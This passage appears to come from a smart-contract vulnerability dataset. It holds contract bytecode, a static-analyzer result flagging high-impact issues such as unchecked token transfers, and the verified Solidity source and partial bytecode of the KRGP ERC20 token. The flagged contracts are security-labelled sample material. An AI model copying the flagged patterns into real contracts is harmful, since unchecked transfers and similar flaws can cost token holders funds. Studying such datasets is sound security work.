ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110db57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561111757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbade2bd9fdae91fd2e16ee41b7be1f7d65dd5134997f88f6420ea4350679444460405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123657600080fd5b835185511480156112745750600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b151561127f57600080fd5b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150600090505b84518110156112f75784818151811015156112dc57fe5b906020019060200201518301925080806001019150506112c5565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156113b357600080fd5b5af115156113c057600080fd5b505050604051805190506113df846003546120f390919063ffffffff16565b111515156113ec57600080fd5b600090505b845181101561148c5781600201805480600101828161141091906121a1565b916000526020600020906002020160006040805190810160405280898681518110151561143957fe5b906020019060200201518152602001888681518110151561145657fe5b906020019060200201518152509091909150600082015181600001556020820151816001015550505080806001019150506113f1565b82826000016000828254019250508190555082600360008282540192505081905550505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151157600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156115cd57600080fd5b5af115156115da57600080fd5b505050604051805190506115f9826003546120f390919063ffffffff16565b111580156116d957506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156116c057600080fd5b5af115156116cd57600080fd5b50505060405180519050115b15156116e457600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156117a857600080fd5b5af115156117b557600080fd5b50505060405180519050505050565b600080600080600080600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209250600090505b82600201805490508110156118b05742836002018281548110151561183457fe5b9060005260206000209060020201600101541115801561187657506000836002018281548110151561186257fe5b906000526020600020906002020160000154115b156118a357826002018181548110151561188c57fe5b906000526020600020906002020160000154820191505b8080600101915050611813565b82600001548360010154839550955095505050509193909250565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561192757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60086020528060005260406000206000915090508060000154908060010154905082565b600080600080600080600080600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209350600090505b8360020180549050811015611b9357428460020182815481101515611abf57fe5b906000526020600020906002020160010154118015611b00575060008460020182815481101515611aec57fe5b906000526020600020906002020160000154115b15611b86578360020181815481101515611b1657fe5b906000526020600020906002020160010154821080611b355750600082145b15611b85578360020181815481101515611b4b57fe5b90600052602060002090600202016000015492508360020181815481101515611b7057fe5b90600052602060002090600202016001015491505b5b8080600101915050611a9e565b82600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166392d66313846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515611c2457600080fd5b5af11515611c3157600080fd5b50505060405180519050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a324ad24856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515611ccb57600080fd5b5af11515611cd857600080fd5b50505060405180519050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166365c72840866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515611d7257600080fd5b5af11515611d7f57600080fd5b505050604051805190508261ffff1692508160ff1691508060ff1690509750975097509750505050509193509193565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e3657600080fd5b611e3f81611e68565b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209250600090505b8260020180549050811015611f7857428360020182815481101515611ed457fe5b90600052602060002090600202016001015411158015611f16575060008360020182815481101515611f0257fe5b906000526020600020906002020160000154115b15611f6b578260020181815481101515611f2c57fe5b9060005260206000209060020201600001548201915060008360020182815481101515611f5557fe5b9060005260206000209060020201600001819055505b8080600101915050611eb3565b8183600101600082825401925050819055508160046000828254019250508190555081600360008282540392505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561206e57600080fd5b5af1151561207b57600080fd5b50505060405180519050508373ffffffffffffffffffffffffffffffffffffffff167fd777ee46b5c5e9bff9903e5b77152b900a28b55ea90ea99766fa3b5237f970f6836040518082815260200191505060405180910390a250505050565b60008282111515156120e857fe5b818303905092915050565b600080828401905083811015151561210757fe5b8091505092915050565b82805482825590600052602060002090600202810192821561216c5760005260206000209160020282015b8281111561216b578282600082015481600001556001820154816001015550509160020191906002019061213c565b5b50905061217991906121d3565b5090565b508054600082556002029060005260206000209081019061219e91906121d3565b50565b8154818355818115116121ce576002028160020283600052602060002091820191016121cd91906121d3565b5b505050565b6121ff91905b808211156121fb576000808201600090556001820160009055506002016121d9565b5090565b905600a165627a7a723058206f32a804abf4bba1e82a0fc2dd8b4fb6e0e965200f237e85e362aa2c6a0387d80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,473 |
0xdcef1d522d76509860ea7936cb581f283200fc64
|
/**
*Submitted for verification at Etherscan.io on 2020-05-29
*/
pragma solidity ^0.5.0;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is Context, ERC20{
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
totalSupply_ = totalSupply_.add(amount);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balances[account] = balances[account].sub(amount, "ERC20: burn amount exceeds balance");
totalSupply_ = totalSupply_.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address _spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
allowed[owner][_spender] = amount;
emit Approval(owner, _spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, allowed[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
event NotPausable();
bool public paused = false;
bool public canPause = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
**/
function pause() onlyOwner whenNotPaused public {
require(canPause == true);
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
require(paused == true);
paused = false;
emit Unpause();
}
/**
* @dev Prevent the token from ever being paused again
**/
function notPausable() onlyOwner public{
paused = false;
canPause = false;
emit NotPausable();
}
}
contract Mintable is BasicToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract ERC20Burnable is Context, BasicToken {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract PausableToken is BasicToken, ERC20Detailed, Pausable, ERC20Burnable, Mintable {
string public constant NAME = "Korea Racing Gold Pay";
string public constant SYMBOL = "KRGP";
uint256 public constant DECIMALS = 8;
uint256 public constant INITIAL_SUPPLY = 100000000 * 10**8;
/**
* @dev Transfer tokens when not paused
**/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev transferFrom function to tansfer tokens when token is not paused
**/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/**
* @dev approve spender when not paused
**/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
/**
* @dev increaseApproval of spender when not paused
**/
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
/**
* @dev decreaseApproval of spender when not paused
**/
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
/**
* Pausable Token Constructor
* @dev Create and issue tokens to msg.sender.
*/
/*
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
*/
constructor () public ERC20Detailed("Korea Racing Gold Pay", "KRGP", 8) {
_mint(_msgSender(), 100000000 * (10 ** uint256(decimals())));
}
}
|
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016f57806306fdde031461019e578063095ea7b31461022e57806318160ddd146102a157806323b872dd146102cc5780632e0f26251461035f5780632ff2e9dc1461038a578063313ce567146103b5578063323be1c5146103e65780633f4ba83a1461041557806340c10f191461042c57806342966c681461049f5780634be8b05e146104da5780635c975abb146104f1578063661884631461052057806370a0823114610593578063715018a6146105f857806379cc67901461060f5780637d64bcb41461066a5780638456cb59146106995780638da5cb5b146106b057806395d89b4114610707578063a3f4df7e14610797578063a9059cbb14610827578063d73dd6231461089a578063dd62ed3e1461090d578063f2fde38b14610992578063f76f8d78146109e3575b600080fd5b34801561017b57600080fd5b50610184610a73565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b3610a86565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f35780820151818401526020810190506101d8565b50505050905090810190601f1680156102205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023a57600080fd5b506102876004803603604081101561025157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b28565b604051808215151515815260200191505060405180910390f35b3480156102ad57600080fd5b506102b6610bb0565b6040518082815260200191505060405180910390f35b3480156102d857600080fd5b50610345600480360360608110156102ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bba565b604051808215151515815260200191505060405180910390f35b34801561036b57600080fd5b50610374610c44565b6040518082815260200191505060405180910390f35b34801561039657600080fd5b5061039f610c49565b6040518082815260200191505060405180910390f35b3480156103c157600080fd5b506103ca610c54565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103f257600080fd5b506103fb610c6b565b604051808215151515815260200191505060405180910390f35b34801561042157600080fd5b5061042a610c7e565b005b34801561043857600080fd5b506104856004803603604081101561044f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d60565b604051808215151515815260200191505060405180910390f35b3480156104ab57600080fd5b506104d8600480360360208110156104c257600080fd5b8101908080359060200190929190505050610f46565b005b3480156104e657600080fd5b506104ef610f5a565b005b3480156104fd57600080fd5b5061050661101a565b604051808215151515815260200191505060405180910390f35b34801561052c57600080fd5b506105796004803603604081101561054357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102d565b604051808215151515815260200191505060405180910390f35b34801561059f57600080fd5b506105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110b5565b6040518082815260200191505060405180910390f35b34801561060457600080fd5b5061060d6110fd565b005b34801561061b57600080fd5b506106686004803603604081101561063257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611202565b005b34801561067657600080fd5b5061067f611210565b604051808215151515815260200191505060405180910390f35b3480156106a557600080fd5b506106ae6112d8565b005b3480156106bc57600080fd5b506106c5611413565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071357600080fd5b5061071c611439565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075c578082015181840152602081019050610741565b50505050905090810190601f1680156107895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107a357600080fd5b506107ac6114db565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107ec5780820151818401526020810190506107d1565b50505050905090810190601f1680156108195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561083357600080fd5b506108806004803603604081101561084a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611514565b604051808215151515815260200191505060405180910390f35b3480156108a657600080fd5b506108f3600480360360408110156108bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061159c565b604051808215151515815260200191505060405180910390f35b34801561091957600080fd5b5061097c6004803603604081101561093057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611624565b6040518082815260200191505060405180910390f35b34801561099e57600080fd5b506109e1600480360360208110156109b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ab565b005b3480156109ef57600080fd5b506109f8611803565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a38578082015181840152602081019050610a1d565b50505050905090810190601f168015610a655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600560179054906101000a900460ff1681565b606060038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1e5780601f10610af357610100808354040283529160200191610b1e565b820191906000526020600020905b815481529060010190602001808311610b0157829003601f168201915b5050505050905090565b6000600560159054906101000a900460ff161580610b935750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610b9e57600080fd5b610ba8838361183c565b905092915050565b6000600254905090565b6000600560159054906101000a900460ff161580610c255750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c3057600080fd5b610c3b84848461192e565b90509392505050565b600881565b662386f26fc1000081565b6000600560009054906101000a900460ff16905090565b600560169054906101000a900460ff1681565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cda57600080fd5b600560159054906101000a900460ff161515610cf557600080fd5b60011515600560159054906101000a900460ff161515141515610d1757600080fd5b6000600560156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dbe57600080fd5b600560179054906101000a900460ff16151515610dda57600080fd5b610def82600254611ce890919063ffffffff16565b600281905550610e46826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610f57610f51611d04565b82611d0c565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fb657600080fd5b6000600560156101000a81548160ff0219169083151502179055506000600560166101000a81548160ff0219169083151502179055507faff39f66825d4448497d384dee3f4a3adf00a622960add00806503ae4ccee01c60405160405180910390a1565b600560159054906101000a900460ff1681565b6000600560159054906101000a900460ff1615806110985750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156110a357600080fd5b6110ad8383611f4d565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115957600080fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61120c82826121de565b5050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126e57600080fd5b600560179054906101000a900460ff1615151561128a57600080fd5b6001600560176101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133457600080fd5b600560159054906101000a900460ff16158061139d5750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156113a857600080fd5b60011515600560169054906101000a900460ff1615151415156113ca57600080fd5b6001600560156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114d15780601f106114a6576101008083540402835291602001916114d1565b820191906000526020600020905b8154815290600101906020018083116114b457829003601f168201915b5050505050905090565b6040805190810160405280601581526020017f4b6f72656120526163696e6720476f6c6420506179000000000000000000000081525081565b6000600560159054906101000a900460ff16158061157f5750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561158a57600080fd5b61159483836122e3565b905092915050565b6000600560159054906101000a900460ff1615806116075750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561161257600080fd5b61161c8383612502565b905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561174357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600481526020017f4b5247500000000000000000000000000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561196b57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119b857600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a4357600080fd5b611a94826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fe90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b27826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bf882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126fe90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008183019050828110151515611cfb57fe5b80905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611dd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f45524332303a206275726e2066726f6d20746865207a65726f2061646472657381526020017f730000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611e8681606060405190810160405280602281526020017f4552433230